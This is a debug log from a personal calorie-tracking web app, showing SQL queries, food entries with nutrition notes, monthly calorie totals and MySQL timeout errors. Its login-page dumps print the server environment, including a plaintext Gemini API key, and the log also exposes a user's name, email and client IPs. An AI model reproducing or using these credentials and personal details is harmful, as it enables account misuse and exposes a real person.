2025-12-15T10:57:35.215Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-15T10:57:35.216Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-15T10:57:35.217Z server-connect:app Executing action step identify
2025-12-15T10:57:35.217Z server-connect:app options: { provider: 'security' }
2025-12-15T10:57:35.217Z server-connect:output identity: 1
2025-12-15T10:57:35.217Z server-connect:app Executing action step restrict
2025-12-15T10:57:35.217Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T10:57:35.217Z server-connect:app Executing action step identify
2025-12-15T10:57:35.217Z server-connect:app options: { provider: 'security' }
2025-12-15T10:57:35.217Z server-connect:output identity: 1
2025-12-15T10:57:35.217Z server-connect:app Executing action step restrict
2025-12-15T10:57:35.217Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T10:57:35.217Z server-connect:output restrict: undefined
2025-12-15T10:57:35.217Z server-connect:app Executing action step select
2025-12-15T10:57:35.217Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-15T10:57:35.218Z server-connect:app Executing action step identify
2025-12-15T10:57:35.218Z server-connect:app options: { provider: 'security' }
2025-12-15T10:57:35.218Z server-connect:output identity: 1
2025-12-15T10:57:35.218Z server-connect:app Executing action step restrict
2025-12-15T10:57:35.218Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-15T10:57:35.219Z server-connect:output restrict: undefined
2025-12-15T10:57:35.219Z server-connect:app Executing action step single
2025-12-15T10:57:35.219Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-15T10:57:35.223Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-15T10:57:35.224Z server-connect:output restrict: undefined
2025-12-15T10:57:35.224Z server-connect:app Executing action step single
2025-12-15T10:57:35.224Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-15T10:57:35.225Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-15T10:57:35.226Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-15T10:57:35.227Z server-connect:app Executing action step select
2025-12-15T10:57:35.227Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-15T10:57:35.228Z server-connect:output item_list: [
  {
    id: 390,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 1,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop (6.5 gm)',
    replacements: 'N/A (supplement with specific purpose, generally low calorie)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Designed to enhance workout performance and focus. Generally low in calories and can be beneficial for intense training sessions for muscle development.'
  },
  {
    id: 391,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Banana',
    calories: 105,
    protein_gm: 1,
    carbs_gm: 27,
    fat_gm: 0,
    quantity: '1 medium (approx 118g)',
    replacements: 'Berries (strawberries, blueberries - lower sugar and calories),Apple,Orange',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Excellent source of quick carbohydrates for immediate energy, potassium, and other micronutrients. Ideal for pre or post-workout fuel to support muscle development and recovery.'
  },
  {
    id: 392,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat Flatbread)',
    calories: 360,
    protein_gm: 12,
    carbs_gm: 72,
    fat_gm: 4,
    quantity: '4 pieces (approx 200g cooked weight)',
    replacements: 'Brown rice (complex carbs),Quinoa (complex carbs, higher protein),Oats (complex carbs, good fiber)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'A staple source of complex carbohydrates, providing sustained energy for daily activities and intense workouts. Essential for replenishing muscle glycogen stores for muscle growth.'
  },
  {
    id: 393,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Aalo Sabji (Potato Curry)',
    calories: 280,
    protein_gm: 4,
    carbs_gm: 40,
    fat_gm: 15,
    quantity: '1 serving (approx 200g)',
    replacements: 'Mixed vegetable sabji (more fiber, fewer calories from potatoes),Dal (lentil curry - higher protein, lower fat),Paneer sabji (for higher protein intake)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 1,
    skip_reason: 'Provides carbohydrates from potatoes and some healthy fats from cooking, contributing to energy needs. Can be made healthier by reducing oil content and adding more non-starchy vegetables.'
  },
  {
    id: 394,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Gulab Jamun',
    calories: 190,
    protein_gm: 2,
    carbs_gm: 30,
    fat_gm: 8,
    quantity: '1 piece (approx 40g)',
    replacements: 'Fresh fruit (e.g., berries, apple),Small piece of dark chocolate (70%+ cocoa),Greek yogurt with a touch of honey (higher protein, lower sugar)',
    created_at: '2025-12-15T00:10:40.000Z',
    skip_level: 3,
    skip_reason: 'This dessert is high in refined sugar and unhealthy fats from deep frying, providing empty calories with minimal nutritional value. It can lead to blood sugar spikes and contributes to excess calorie intake, which is counterproductive for muscle development and overall health goals.'
  },
  {
    id: 395,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Buttermilk',
    calories: 76,
    protein_gm: 7,
    carbs_gm: 9,
    fat_gm: 2,
    quantity: '1 glass (approx 200ml)',
    replacements: 'Plain water,Unsweetened herbal tea,Diluted yogurt (without added sugar)',
    created_at: '2025-12-15T00:10:59.000Z',
    skip_level: 1,
    skip_reason: "Buttermilk (Chaas) is an excellent source of hydration, probiotics, and lean protein, especially if made from skimmed or low-fat curd. It's low in calories and supports digestion, which is beneficial for muscle development and overall gut health for someone with a desk job and active lifestyle."
  },
  {
    id: 396,
    intake_date: '2025-12-14T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 120,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 5,
    quantity: '1 cup (240ml, assuming toned milk)',
    replacements: 'Black tea (zero calories),Green tea (zero calories),Herbal tea (zero calories),Tea with unsweetened almond milk (lower calories, often lower protein)',
    created_at: '2025-12-15T05:27:34.000Z',
    skip_level: 1,
    skip_reason: 'Provides protein, calcium, and hydration without added sugar. The protein content from milk can be beneficial for muscle development. Opting for toned/low-fat milk further manages fat intake.'
  }
]
2025-12-15T10:57:35.228Z server-connect:app Executing action step setvalue
2025-12-15T10:57:35.228Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-15T10:57:35.228Z server-connect:output var_total: 1141
2025-12-15T10:57:35.228Z server-connect:app Executing action step setvalue
2025-12-15T10:57:35.228Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-15T10:57:35.228Z server-connect:output var_consumed: 48
2025-12-15T10:57:35.228Z server-connect:app Executing action step setvalue
2025-12-15T10:57:35.228Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-15T10:57:35.228Z server-connect:output var_deficit: 1259
2025-12-15T10:57:35.228Z server-connect:app Executing action step custom
2025-12-15T10:57:35.228Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-15T10:57:35.230Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '1141',
    surplus_or_deficit: '1259',
    status_flag: 2
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 10:57:46' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 10:57:46' as DATETIME)"
}
2025-12-15T11:41:23.388Z server-connect:router Serving templateView /
2025-12-15T11:41:23.389Z server-connect:app Executing action step identify
2025-12-15T11:41:23.389Z server-connect:app options: { provider: 'security' }
2025-12-15T11:41:23.389Z server-connect:auth No login cookie found
2025-12-15T11:41:23.389Z server-connect:output identity: false
2025-12-15T11:41:23.390Z server-connect:app Executing action step restrict
2025-12-15T11:41:23.390Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T11:41:23.390Z server-connect:output restrict: undefined
2025-12-15T11:41:24.724Z server-connect:router Serving templateView /login
2025-12-15T11:41:24.724Z server-connect:app Executing action step identify
2025-12-15T11:41:24.724Z server-connect:app options: { provider: 'security' }
2025-12-15T11:41:24.724Z server-connect:auth No login cookie found
2025-12-15T11:41:24.724Z server-connect:output identity: false
2025-12-15T11:41:24.724Z server-connect:router Render template layouts/authentication
2025-12-15T11:41:24.724Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'x-forwarded-for': '176.53.218.131',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T11:41:24.723Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '176.53.218.131',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-FOR': '176.53.218.131',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-15 12:09:06' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-15 12:09:06' as DATETIME)"
}
2025-12-15T12:26:41.404Z server-connect:router Serving templateView /
2025-12-15T12:26:41.405Z server-connect:app Executing action step identify
2025-12-15T12:26:41.405Z server-connect:app options: { provider: 'security' }
2025-12-15T12:26:41.405Z server-connect:auth No login cookie found
2025-12-15T12:26:41.405Z server-connect:output identity: false
2025-12-15T12:26:41.406Z server-connect:app Executing action step restrict
2025-12-15T12:26:41.406Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-15T12:26:41.406Z server-connect:output restrict: undefined
2025-12-15T12:26:41.756Z server-connect:router Serving templateView /login
2025-12-15T12:26:41.756Z server-connect:app Executing action step identify
2025-12-15T12:26:41.756Z server-connect:app options: { provider: 'security' }
2025-12-15T12:26:41.756Z server-connect:auth No login cookie found
2025-12-15T12:26:41.756Z server-connect:output identity: false
2025-12-15T12:26:41.756Z server-connect:router Render template layouts/authentication
2025-12-15T12:26:41.757Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    connection: 'keep-alive',
    'x-forwarded-for': '176.53.223.233',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:26:41.755Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
